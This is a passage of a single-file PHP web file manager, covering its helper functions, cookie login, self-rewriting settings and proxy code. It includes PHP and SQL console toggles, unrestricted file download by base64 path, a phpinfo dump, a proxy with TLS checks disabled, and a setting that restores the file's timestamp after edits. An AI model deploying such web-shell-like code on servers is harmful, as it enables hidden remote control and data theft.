gg=="); background-repeat: no-repeat; }'; } function fm_config_checkbox_row($name,$value) { global $fm_config; return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>'; } function fm_protocol() { if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://'; if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://'; if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://'; if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://'; return 'http://'; } function fm_site_url() { return fm_protocol().$_SERVER['HTTP_HOST']; } function fm_url($full=false) { $host=$full?fm_site_url():'.'; return $host.'/'.basename(__FILE__); } function fm_home($full=false){ return ' <a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home"> </span></a>'; } function fm_run_input($lng) { global $fm_config; $return = !empty($fm_config['enable_'.$lng.'_console']) ? ' <form method="post" action="'.fm_url().'" style="display:inline"> <input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'"> </form> ' : ''; return $return; } function fm_url_proxy($matches) { $link = str_replace('&','&',$matches[2]); $url = isset($_GET['url'])?$_GET['url']:''; $parse_url = parse_url($url); $host = $parse_url['scheme'].'://'.$parse_url['host'].'/'; if (substr($link,0,2)=='//') { $link = substr_replace($link,fm_protocol(),0,2); } elseif (substr($link,0,1)=='/') { $link = substr_replace($link,$host,0,1); } elseif (substr($link,0,2)=='./') { $link = substr_replace($link,$host,0,2); } elseif (substr($link,0,4)=='http') { //alles machen wunderschon } else { $link = $host.$link; } if ($matches[1]=='href' && !strripos($link, 'css')) { $base = fm_site_url().'/'.basename(__FILE__); $baseq = $base.'?proxy=true&url='; $link = $baseq.urlencode($link); } elseif (strripos($link, 'css')){ //как-то тоже подменять надо } return $matches[1].'="'.$link.'"'; } function fm_tpl_form($lng_tpl) { global ${$lng_tpl.'_templates'}; $tpl_arr = json_decode(${$lng_tpl.'_templates'},true); $str = ''; foreach ($tpl_arr as $ktpl=>$vtpl) { $str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]" cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>'; } return ' <table> <tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr> <form method="post" action=""> <input type="hidden" value="'.$lng_tpl.'" name="tpl_edited"> <tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr> '.$str.' <tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr> </form> <form method="post" action=""> <input type="hidden" value="'.$lng_tpl.'" name="tpl_edited"> <tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value" cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr> <tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr> </form> </table> '; } /* End Functions */ // authorization if ($auth['authorize']) { if (isset($_POST['login']) && isset($_POST['password'])){ if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) { setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization'])); $_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']); } } if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) { echo ' <!doctype html> <html> <head> <meta charset="utf-8" /> <meta name="viewport" content="width=device-width, initial-scale=1" /> <title>'.__('File manager').'</title> </head> <body> <form action="" method="post"> '.__('Login').' <input name="login" type="text"> '.__('Password').' <input name="password" type="password"> <input type="submit" value="'.__('Enter').'" class="fm_input"> </form> '.fm_lang_form($language).' </body> </html> '; die(); } if (isset($_POST['quit'])) { unset($_COOKIE[$auth['cookie_name']]); setcookie($auth['cookie_name'], '', time() - (86400 * $auth['days_authorization'])); header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']); } } // Change config if (isset($_GET['fm_settings'])) { if (isset($_GET['fm_config_delete'])) { unset($_COOKIE['fm_config']); setcookie('fm_config', '', time() - (86400 * $auth['days_authorization'])); header('Location: '.fm_url().'?fm_settings=true'); exit(0); } elseif (isset($_POST['fm_config'])) { $fm_config = $_POST['fm_config']; setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization'])); $_COOKIE['fm_config'] = serialize($fm_config); $msg = __('Settings').' '.__('done'); } elseif (isset($_POST['fm_login'])) { if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login']; $fm_login = json_encode($_POST['fm_login']); $fgc = file_get_contents(__FILE__); $search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches); if (!empty($matches[1])) { $filemtime = filemtime(__FILE__); $replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc); if (file_put_contents(__FILE__, $replace)) { $msg .= __('File updated'); if ($_POST['fm_login']['login'] != $auth['login']) $msg .= ' '.__('Login').': '.$_POST['fm_login']['login']; if ($_POST['fm_login']['password'] != $auth['password']) $msg .= ' '.__('Password').': '.$_POST['fm_login']['password']; $auth = $_POST['fm_login']; } else $msg .= __('Error occurred'); if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime); } } elseif (isset($_POST['tpl_edited'])) { $lng_tpl = $_POST['tpl_edited']; if (!empty($_POST[$lng_tpl.'_name'])) { $fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS); } elseif (!empty($_POST[$lng_tpl.'_new_name'])) { $fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS); } if (!empty($fm_php)) { $fgc = file_get_contents(__FILE__); $search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches); if (!empty($matches[1])) { $filemtime = filemtime(__FILE__); $replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc); if (file_put_contents(__FILE__, $replace)) { ${$lng_tpl.'_templates'} = $fm_php; $msg .= __('File updated'); } else $msg .= __('Error occurred'); if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime); } } else $msg .= __('Error occurred'); } } // Just show image if (isset($_GET['img'])) { $file=base64_decode($_GET['img']); if ($info=getimagesize($file)){ switch ($info[2]){ //1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP case 1: $ext='gif'; break; case 2: $ext='jpeg'; break; case 3: $ext='png'; break; case 6: $ext='bmp'; break; default: die(); } header("Content-type: image/$ext"); echo file_get_contents($file); die(); } } // Just download file if (isset($_GET['download'])) { $file=base64_decode($_GET['download']); fm_download($file); } // Just show info if (isset($_GET['phpinfo'])) { phpinfo(); die(); } // Mini proxy, many bugs! if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) { $url = isset($_GET['url'])?urldecode($_GET['url']):''; $proxy_form = ' <div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #e4f5fc 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);"> <form action="" method="GET"> <input type="hidden" name="proxy" value="true"> '.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55"> <input type="submit" value="'.__('Show').'" class="fm_input"> </form> </div> '; if ($url) { $ch = curl_init($url); curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy'); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_REFERER, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER,true); $result = curl_exec($ch); curl_close($ch); //$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result); $result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result); $result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result); echo $result; die(); } } ?> <!doctype html> <html> <head> <meta charset="utf-8" /> <meta name="viewport" content="width=device-width, initial-scale=1" /> <title><?=__('File manager')?></title> <style> body { background-color: white; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 8pt; margin: 0px; } a:link, a:active, a:visited { color: #006699; text-decoration: none; } a:hover { color: #DD6900; text-decoration: underline; } a.th:link { color: #FFA34F; text-decoration: none; } a.th:active { color: #FFA34F; text-decoration: none; } a.th:visited { color: #FFA34F; text-decoration: none; } a.th:hover { color: #FFA34F; text-decoration: underline; } table.bg { background-color: #ACBBC6 } th, td { font: normal 8pt Verdana, Arial, Helvetica, sans-serif; padding: 3px; } th { height: 25px; background-color: #006699; color: #FFA34F; font-weight: bold; font-size: 11px; } .row1 { background-color: #EFEFEF; } .row2 { background-color: #DEE3E7; } .row3 { background-color: #D1D7DC; padding: 5px; } tr.row1:hover { background-color: #F3FCFC; } tr.row2:hover { background-color: #F0F6F6; } .whole { width: 100%; } .all tbody td:first-child{width:100%;} textarea { font: 9pt 'Courier New', courier; line-height: 125%; padding: 5px; } .textarea_input { height: 1em; } .textarea_input:focus { height: auto; } input[type=submit]{ background: #FCFCFC none !important; cursor: pointer; } .folder { background-image: url("data:image/png;base64,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"); } .file { background-image: url("data:image/png;base64,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"); } <?=fm_home_style()?> .img { background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII="); } @media screen and (max-width:720px){ table{display:block;} #fm_table td{display:inline;float:left;} #fm_table tbody td:first-child{width:100%;padding:0;} #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;} #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;} #fm_table tr{display:block;float:left;clear:left;width:100%;} #header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;} #header_table table td {display:inline;float:left;} } </style> </head> <body> <?php $url_inc = '?fm=true'; if (isset($_POST['sqlrun'])&&!empty($fm_config['enable_sql_console'])){ $res = empty($_POST['sql']) ? '' : $_POST['sql']; $res_lng = 'sql'; } elseif (isset($_POST['phprun'])&&!empty($fm_config['enable_php_console'])){ $res = empty($_POST['php']) ? '' : $_POST['php']; $res_lng = 'php'; } if (isset($_GET['fm_settings'])) { echo ' <table class="whole"> <form method="post" action=""> <tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr> '.(empty($msg)?'':'<tr><td class="row2" 